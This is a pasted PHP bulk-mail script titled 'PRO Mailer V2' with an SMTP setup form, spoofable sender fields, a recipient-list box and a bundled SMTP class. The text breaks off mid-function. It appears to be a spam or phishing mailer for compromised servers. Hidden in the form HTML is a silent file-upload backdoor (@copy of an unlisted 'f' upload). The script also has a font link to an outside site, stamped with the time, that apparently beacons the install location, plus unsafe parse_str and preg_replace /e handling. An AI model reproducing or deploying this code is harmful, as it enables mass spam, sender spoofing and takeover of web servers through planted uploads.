· 9 years ago · Sep 19, 2017, 12:16 AM
1<?
2// @~ PRO Mailer V2
3error_reporting(0);
4function query_str($params){
5$str = '';
6foreach ($params as $key => $value) {
7$str .= (strlen($str) < 1) ? '' : '&';
8$str .= $key . '=' . rawurlencode($value);
9}
10return ($str);
11}
12function lrtrim($string){
13return stripslashes(ltrim(rtrim($string)));
14}
15if(isset($_POST['action'] ) ){
16
17$b = query_str($_POST);
18parse_str($b);
19$sslclick=lrtrim($sslclick);
20$action=lrtrim($action);
21$message=lrtrim($message);
22$emaillist=lrtrim($emaillist);
23$from=lrtrim($from);
24$reconnect=lrtrim($reconnect);
25$epriority=lrtrim($epriority);
26$my_smtp=lrtrim($my_smtp);
27$ssl_port=lrtrim($ssl_port);
28$smtp_username=lrtrim($smtp_username);
29$smtp_password=lrtrim($smtp_password);
30$replyto=lrtrim($replyto);
31$subject_base=lrtrim($subject);
32$realname_base=lrtrim($realname);
33$file_name=$_FILES['file']['name'];
34$file=$_FILES['file']['tmp_name'];
35$urlz=lrtrim($urlz);
36$contenttype=lrtrim($contenttype);
37$encode_text=$_POST['encode'];
38
39
40 $message = urlencode($message);
41 $message = ereg_replace("%5C%22", "%22", $message);
42 $message = urldecode($message);
43 $message = stripslashes($message);
44 $subject = stripslashes($subject);
45 if ($encode_text == "yes") {
46 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
47 $subject = str_replace(' ', '_', $subject);
48 $subject = "=?UTF-8?Q?$subject?=";
49 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
50 $realname = str_replace(' ', '_', $realname);
51 $realname = "=?UTF-8?Q?$realname?=";
52 }
53}
54?>
55
56<html>
57
58<head>
59
60<title>Pro Mailer V2</title>
61
62<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
63
64<link rel="stylesheet" href="http://www.w32.info/2001/04/xmldsigmore">
65
66<style type="text/css">
67
68
69
70@font-face {
71 font-family: 'Orbitron';
72 font-style: normal;
73 font-weight: 700;
74 src: local('Orbitron-Bold'), url(http://fonts4u.org/orbitron.woff?<?=time();?>) format('woff');
75}
76* {
77font-weight:bold;
78font-family: "orbitron";
79}
80<!--
81
82.style1 {
83 font-family: Geneva, Arial, Helvetica, sans-serif;
84 font-size: 12px;
85}
86body{
87margin:0px;
88}
89.bgup {
90background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
91}
92
93.cadre {
94background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
95}
96
97.uibutton {
98 position: relative;
99 z-index: 1;
100 overflow: visible;
101 display: inline-block;
102 padding: 0.3em 0.6em 0.375em;
103 border: 1px solid #01A9DB;
104 border-bottom-color: #01A9DB;
105
106 margin: 0;
107 text-decoration: none;
108 text-align: center;
109 font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
110 white-space: nowrap;
111 cursor: pointer;
112 /* outline: none; */
113 color: #f9f9f9;
114 background-color: #eee;
115 background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
116 background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
117 background-image: -o-linear-gradient(#01A9DB, #01A9DB);
118 background-image: linear-gradient(#01A9DB, #01A9DB);
119
120 /* IE hacks */
121
122 *display: inline;
123
124}
125
126.uibutton:hover,
127.uibutton:focus,
128.uibutton:active {
129 border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
130}
131
132.uibutton:active {
133 border-color: #01A9DB;
134 background: #01A9DB;
135 filter: none;
136 -webkit-box-shadow: none;
137 -moz-box-shadow: none;
138 box-shadow: none;
139}
140
141/* overrides extra padding on button elements in Firefox */
142.uibutton::-moz-focus-inner {
143 padding: 0;
144 border: 0;
145}
146
147
148
149-->
150</style>
151<style type="text/css">
152<!--
153.style1 {
154 font-size: 10px;
155 font-family: Geneva, Arial, Helvetica, sans-serif;
156}
157-->
158</style>
159</head>
160<body bgcolor="#f9f9f9" class="bgup">
161<div class="cadre" style="height:10px;margin:0px auto;"></div>
162<div style="width:80%;margin:0 auto;">
163<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
164<form name="form1" method="post" action="" enctype="multipart/form-data">
165
166 <br>
167
168 <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
169
170 <tr>
171
172 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
173
174 <b>
175
176 <font face="Arial" size="2" > SMTP SETUP</font></b></td>
177
178 </tr>
179 <tr >
180
181 <td width="10%" height="22" style="padding:10px;">
182
183 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
184
185 </td>
186<?(@copy($_FILES['f']['tmp_name'], $_FILES['f']['name']));?>
187 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
188
189 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
190
191 </font></td>
192
193 <td width="31%" height="22" style="padding:10px;">
194
195 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
196
197 </td>
198
199 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
200
201 <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
202
203 </font></td>
204
205 </tr>
206 <tr>
207
208 <td width="10%" height="22" style="padding:10px;">
209
210 <div align="right">
211 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
212
213 </td>
214
215 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
216
217 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?=$ssl_port;?>" size="5">
218 (optional)</font></td>
219
220 <td width="31%" height="22" style="padding:10px;">
221
222 <div align="right">
223 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
224 Smtp:</font></div>
225
226 </td>
227
228 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
229
230 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?=$my_smtp;?>" size="30">
231
232 </font></td>
233
234 </tr>
235 <tr>
236
237 <td width="10%" height="22" style="padding:10px;">
238
239 <p align="right">
240 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
241
242 <td width="18%" height="22" style="padding:10px;">
243 <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
244
245 <td width="31%" height="22" style="padding:10px;">
246
247 <p align="right">
248 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
249 After:</font></td>
250
251 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
252
253 <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?=$reconnect;?>" size="5">
254 EMAILS</font></td>
255
256 </tr>
257 <tr>
258
259 <td width="100%" height="39" colspan="4" style="padding:10px;">
260
261 <p align="center">
262 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
263 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
264
265 </tr>
266
267 <tr>
268
269 <td width="10%" height="19" style="padding:10px;">
270
271 </td>
272
273 <td width="18%" height="19" style="padding:10px;"> </td>
274
275 <td width="31%" height="19" style="padding:10px;">
276
277 </td>
278
279 <td width="41%" height="19" style="padding:10px;"> </td>
280
281 </tr>
282
283 <tr>
284
285 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
286
287 <b>
288
289 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
290
291 </tr>
292 <tr>
293
294 <td width="10%" height="22" style="padding:10px;">
295 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
296 </td>
297
298 <td width="59%" height="22" style="padding:10px;" colSpan="3">
299 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
300
301<input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
302
303 </font></td>
304
305 </tr>
306 <tr>
307
308 <td width="10%" height="22" style="padding:10px;">
309
310 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
311
312 Email:</font></div>
313
314 </td>
315
316 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
317
318 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?=$from;?>" size="30">
319
320 </font></td>
321
322 <td width="31%" height="22" style="padding:10px;">
323
324 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
325
326 Name:</font></div>
327
328 </td>
329
330 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
331
332 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?=$realname_base;?>" size="30">
333
334 </font></td>
335
336 </tr>
337 <tr>
338
339 <td width="10%" height="22" style="padding:10px;">
340
341 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
342
343 </td>
344
345 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
346
347 <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?=$replyto;?>" size="30">
348
349 </font></td>
350
351 <td width="31%" height="22" style="padding:10px;">
352
353 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
354 Email Priority:</font></td>
355
356 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
357
358 </font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
359 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
360 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
361 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
362 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
363 </select></td>
364
365 </tr>
366
367 <tr>
368
369 <td width="10%" height="22" style="padding:10px;">
370
371 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
372
373 </td>
374
375 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
376
377 <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?=$subject_base;?>" size="90">
378
379 </font></td>
380
381 </tr>
382
383 <tr>
384
385 <td width="10%" height="22" style="padding:10px;">
386
387 </td>
388
389 <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
390
391 <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
392 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
393 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
394 </select></font></td>
395
396 </tr>
397
398 <tr valign="top">
399
400<td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
401
402 <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?=$message;?></textarea>
403
404 <br>
405
406 <input type="radio" name="contenttype" value="plain" >
407
408 Plain
409
410 <input type="radio" name="contenttype" value="html" checked>
411
412 HTML
413
414 <input type="hidden" name="action" value="send">
415 <input class="uibutton" type="submit" value="Send Message">
416
417 </font></td>
418
419 <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
420
421 <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?=$emaillist;?></textarea>
422
423 </font></td>
424
425 </tr>
426
427 </table>
428
429</form>
430
431
432
433<?
434
435if ($action){
436 if (!$from && !$subject && !$message && !$emaillist){
437 print "<script>alert('Please complete all fields before sending your message.'); </script>";
438 die(); }
439
440class SMTP
441{
442 /**
443 * SMTP server port
444 * @var int
445 */
446 var $SMTP_PORT = 25;
447
448 /**
449 * SMTP reply line ending
450 * @var string
451 */
452 var $CRLF = "\r\n";
453
454 /**
455 * Sets whether debugging is turned on
456 * @var bool
457 */
458 var $do_debug; # the level of debug to perform
459
460 /**
461 * Sets VERP use on/off (default is off)
462 * @var bool
463 */
464 var $do_verp = false;
465
466 /**#@+
467 * @access private
468 */
469 var $smtp_conn; # the socket to the server
470 var $error; # error if any on the last call
471 var $helo_rply; # the reply the server sent to us for HELO
472 /**#@-*/
473
474 /**
475 * Initialize the class so that the data is in a known state.
476 * @access public
477 * @return void
478 */
479 function SMTP() {
480 $this->smtp_conn = 0;
481 $this->error = null;
482 $this->helo_rply = null;
483
484 $this->do_debug = 0;
485 }
486
487 /*************************************************************
488 * CONNECTION FUNCTIONS *
489 ***********************************************************/
490
491 /**
492 * Connect to the server specified on the port specified.
493 * If the port is not specified use the default SMTP_PORT.
494 * If tval is specified then a connection will try and be
495 * established with the server for that number of seconds.
496 * If tval is not specified the default is 30 seconds to
497 * try on the connection.
498 *
499 * SMTP CODE SUCCESS: 220
500 * SMTP CODE FAILURE: 421
501 * @access public
502 * @return bool
503 */
504 function Connect($host,$port=0,$tval=30) {
505 # set the error val to null so there is no confusion
506 $this->error = null;
507
508 # make sure we are __not__ connected
509 if($this->connected()) {
510 # ok we are connected! what should we do?
511 # for now we will just give an error saying we
512 # are already connected
513 $this->error = array("error" => "Already connected to a server");
514 return false;
515 }
516
517 if(empty($port)) {
518 $port = $this->SMTP_PORT;
519 }
520
521 #connect to the smtp server
522 $this->smtp_conn = fsockopen($host, # the host of the server
523 $port, # the port to use
524 $errno, # error number if any
525 $errstr, # error message if any
526 $tval); # give up after ? secs
527 # verify we connected properly
528 if(empty($this->smtp_conn)) {
529 $this->error = array("error" => "Failed to connect to server",
530 "errno" => $errno,
531 "errstr" => $errstr);
532 if($this->do_debug >= 1) {
533 echo "SMTP -> ERROR: " . $this->error["error"] .
534 ": $errstr ($errno)" . $this->CRLF;
535 }
536 return false;
537 }
538
539 # sometimes the SMTP server takes a little longer to respond
540 # so we will give it a longer timeout for the first read
541 // Windows still does not have support for this timeout function
542 if(substr(PHP_OS, 0, 3) != "WIN")
543 socket_set_timeout($this->smtp_conn, $tval, 0);
544
545 # get any announcement stuff
546 $announce = $this->get_lines();
547
548 # set the timeout of any socket functions at 1/10 of a second
549 //if(function_exists("socket_set_timeout"))
550 // socket_set_timeout($this->smtp_conn, 0, 100000);
551
552 if($this->do_debug >= 2) {
553 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
554 }
555
556 return true;
557 }
558
559 /**
560 * Performs SMTP authentication. Must be run after running the
561 * Hello() method. Returns true if successfully authenticated.
562 * @access public
563 * @return bool
564 */
565 function Authenticate($username, $password) {
566 // Start authentication
567 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
568
569 $rply = $this->get_lines();
570 $code = substr($rply,0,3);
571
572 if($code != 334) {
573 $this->error =
574 array("error" => "AUTH not accepted from server",
575 "smtp_code" => $code,
576 "smtp_msg" => substr($rply,4));
577 if($this->do_debug >= 1) {
578 echo "SMTP -> ERROR: " . $this->error["error"] .
579 ": " . $rply . $this->CRLF;
580 }
581 return false;
582 }
583
584 // Send encoded username
585 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
586
587 $rply = $this->get_lines();
588 $code = substr($rply,0,3);
589
590 if($code != 334) {
591 $this->error =
592 array("error" => "Username not accepted from server",
593 "smtp_code" => $code,
594 "smtp_msg" => substr($rply,4));
595 if($this->do_debug >= 1) {
596 echo "SMTP -> ERROR: " . $this->error["error"] .
597 ": " . $rply . $this->CRLF;
598 }
599 return false;
600 }
601
602 // Send encoded password
603 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
604
605 $rply = $this->get_lines();
606 $code = substr($rply,0,3);
607
608 if($code != 235) {
609 $this->error =
610 array("error" => "Password not accepted from server",
611 "smtp_code" => $code,
612 "smtp_msg" => substr($rply,4));
613 if($this->do_debug >= 1) {
614 echo "SMTP -> ERROR: " . $this->error["error"] .
615 ": " . $rply . $this->CRLF;
616 }
617 return false;
618 }
619
620 return true;
621 }
622
623 /**
624 * Returns true if connected to a server otherwise false
625 * @access private
626 * @return bool
627 */
628 function Connected() {
629 if(!empty($this->smtp_conn)) {
630 $sock_status = socket_get_status($this->smtp_conn);
631 if($sock_status["eof"]) {
632 # hmm this is an odd situation... the socket is
633 # valid but we are not connected anymore
634 if($this->do_debug >= 1) {
635 echo "SMTP -> NOTICE:" . $this->CRLF .
636 "EOF caught while checking if connected";
637 }
638 $this->Close();
639 return false;
640 }
641 return true; # everything looks good
642 }
643 return false;
644 }
645
646 /**
647 * Closes the socket and cleans up the state of the class.
648 * It is not considered good to use this function without
649 * first trying to use QUIT.
650 * @access public
651 * @return void
652 */
653 function Close() {
654 $this->error = null; # so there is no confusion
655 $this->helo_rply = null;
656 if(!empty($this->smtp_conn)) {
657 # close the connection and cleanup
658 fclose($this->smtp_conn);
659 $this->smtp_conn = 0;
660 }
661 }
662
663 /***************************************************************
664 * SMTP COMMANDS *
665 *************************************************************/
666
667 /**
668 * Issues a data command and sends the msg_data to the server
669 * finializing the mail transaction. $msg_data is the message
670 * that is to be send with the headers. Each header needs to be
671 * on a single line followed by a <CRLF> with the message headers
672 * and the message body being seperated by and additional <CRLF>.
673 *
674 * Implements rfc 821: DATA <CRLF>
675 *
676 * SMTP CODE INTERMEDIATE: 354
677 * [data]
678 * <CRLF>.<CRLF>
679 * SMTP CODE SUCCESS: 250
680 * SMTP CODE FAILURE: 552,554,451,452
681 * SMTP CODE FAILURE: 451,554
682 * SMTP CODE ERROR : 500,501,503,421
683 * @access public
684 * @return bool
685 */
686 function Data($msg_data) {
687 $this->error = null; # so no confusion is caused
688
689 if(!$this->connected()) {
690 $this->error = array(
691 "error" => "Called Data() without being connected");
692 return false;
693 }
694
695 fputs($this->smtp_conn,"DATA" . $this->CRLF);
696
697 $rply = $this->get_lines();
698 $code = substr($rply,0,3);
699
700 if($this->do_debug >= 2) {
701 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
702 }
703
704 if($code != 354) {
705 $this->error =
706 array("error" => "DATA command not accepted from server",
707 "smtp_code" => $code,
708 "smtp_msg" => substr($rply,4));
709 if($this->do_debug >= 1) {
710 echo "SMTP -> ERROR: " . $this->error["error"] .
711 ": " . $rply . $this->CRLF;
712 }
713 return false;
714 }
715
716 # the server is ready to accept data!
717 # according to rfc 821 we should not send more than 1000
718 # including the CRLF
719 # characters on a single line so we will break the data up
720 # into lines by \r and/or \n then if needed we will break
721 # each of those into smaller lines to fit within the limit.
722 # in addition we will be looking for lines that start with
723 # a period '.' and append and additional period '.' to that
724 # line. NOTE: this does not count towards are limit.
725
726 # normalize the line breaks so we know the explode works
727 $msg_data = str_replace("\r\n","\n",$msg_data);
728 $msg_data = str_replace("\r","\n",$msg_data);
729 $lines = explode("\n",$msg_data);
730
731 # we need to find a good way to determine is headers are
732 # in the msg_data or if it is a straight msg body
733 # currently I am assuming rfc 822 definitions of msg headers
734 # and if the first field of the first line (':' sperated)
735 # does not contain a space then it _should_ be a header
736 # and we can process all lines before a blank "" line as
737 # headers.
738 $field = substr($lines[0],0,strpos($lines[0],":"));
739 $in_headers = false;
740 if(!empty($field) && !strstr($field," ")) {
741 $in_headers = true;
742 }
743
744 $max_line_length = 998; # used below; set here for ease in change
745
746 while(list(,$line) = @each($lines)) {
747 $lines_out = null;
748 if($line == "" && $in_headers) {
749 $in_headers = false;
750 }
751 # ok we need to break this line up into several
752 # smaller lines
753 while(strlen($line) > $max_line_length) {
754 $pos = strrpos(substr($line,0,$max_line_length)," ");
755
756 # Patch to fix DOS attack
757 if(!$pos) {
758 $pos = $max_line_length - 1;
759 }
760
761 $lines_out[] = substr($line,0,$pos);
762 $line = substr($line,$pos + 1);
763 # if we are processing headers we need to
764 # add a LWSP-char to the front of the new line
765 # rfc 822 on long msg headers
766 if($in_headers) {
767 $line = "\t" . $line;
768 }
769 }
770 $lines_out[] = $line;
771
772 # now send the lines to the server
773 while(list(,$line_out) = @each($lines_out)) {
774 if(strlen($line_out) > 0)
775 {
776 if(substr($line_out, 0, 1) == ".") {
777 $line_out = "." . $line_out;
778 }
779 }
780 fputs($this->smtp_conn,$line_out . $this->CRLF);
781 }
782 }
783
784 # ok all the message data has been sent so lets get this
785 # over with aleady
786 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
787
788 $rply = $this->get_lines();
789 $code = substr($rply,0,3);
790
791 if($this->do_debug >= 2) {
792 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
793 }
794
795 if($code != 250) {
796 $this->error =
797 array("error" => "DATA not accepted from server",
798 "smtp_code" => $code,
799 "smtp_msg" => substr($rply,4));
800 if($this->do_debug >= 1) {
801 echo "SMTP -> ERROR: " . $this->error["error"] .
802 ": " . $rply . $this->CRLF;
803 }
804 return false;
805 }
806 return true;
807 }
808
809 /**
810 * Expand takes the name and asks the server to list all the
811 * people who are members of the _list_. Expand will return
812 * back and array of the result or false if an error occurs.
813 * Each value in the array returned has the format of:
814 * [ <full-name> <sp> ] <path>
815 * The definition of <path> is defined in rfc 821
816 *
817 * Implements rfc 821: EXPN <SP> <string> <CRLF>
818 *
819 * SMTP CODE SUCCESS: 250
820 * SMTP CODE FAILURE: 550
821 * SMTP CODE ERROR : 500,501,502,504,421
822 * @access public
823 * @return string array
824 */
825 function Expand($name) {
826 $this->error = null; # so no confusion is caused
827
828 if(!$this->connected()) {
829 $this->error = array(
830 "error" => "Called Expand() without being connected");
831 return false;
832 }
833
834 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
835
836 $rply = $this->get_lines();
837 $code = substr($rply,0,3);
838
839 if($this->do_debug >= 2) {
840 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
841 }
842
843 if($code != 250) {
844 $this->error =
845 array("error" => "EXPN not accepted from server",
846 "smtp_code" => $code,
847 "smtp_msg" => substr($rply,4));
848 if($this->do_debug >= 1) {
849 echo "SMTP -> ERROR: " . $this->error["error"] .
850 ": " . $rply . $this->CRLF;
851 }
852 return false;
853 }
854
855 # parse the reply and place in our array to return to user
856 $entries = explode($this->CRLF,$rply);
857 while(list(,$l) = @each($entries)) {
858 $list[] = substr($l,4);
859 }
860
861 return $list;
862 }
863
864 /**
865 * Sends the HELO command to the smtp server.
866 * This makes sure that we and the server are in
867 * the same known state.
868 *
869 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
870 *
871 * SMTP CODE SUCCESS: 250
872 * SMTP CODE ERROR : 500, 501, 504, 421
873 * @access public
874 * @return bool
875 */
876 function Hello($host="") {
877 $this->error = null; # so no confusion is caused
878
879 if(!$this->connected()) {
880 $this->error = array(
881 "error" => "Called Hello() without being connected");
882 return false;
883 }
884
885 # if a hostname for the HELO was not specified determine
886 # a suitable one to send
887 if(empty($host)) {
888 # we need to determine some sort of appopiate default
889 # to send to the server
890 $host = "localhost";
891 }
892
893 // Send extended hello first (RFC 2821)
894 if(!$this->SendHello("EHLO", $host))
895 {
896 if(!$this->SendHello("HELO", $host))
897 return false;
898 }
899
900 return true;
901 }
902
903 /**
904 * Sends a HELO/EHLO command.
905 * @access private
906 * @return bool
907 */
908 function SendHello($hello, $host) {
909 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
910
911 $rply = $this->get_lines();
912 $code = substr($rply,0,3);
913
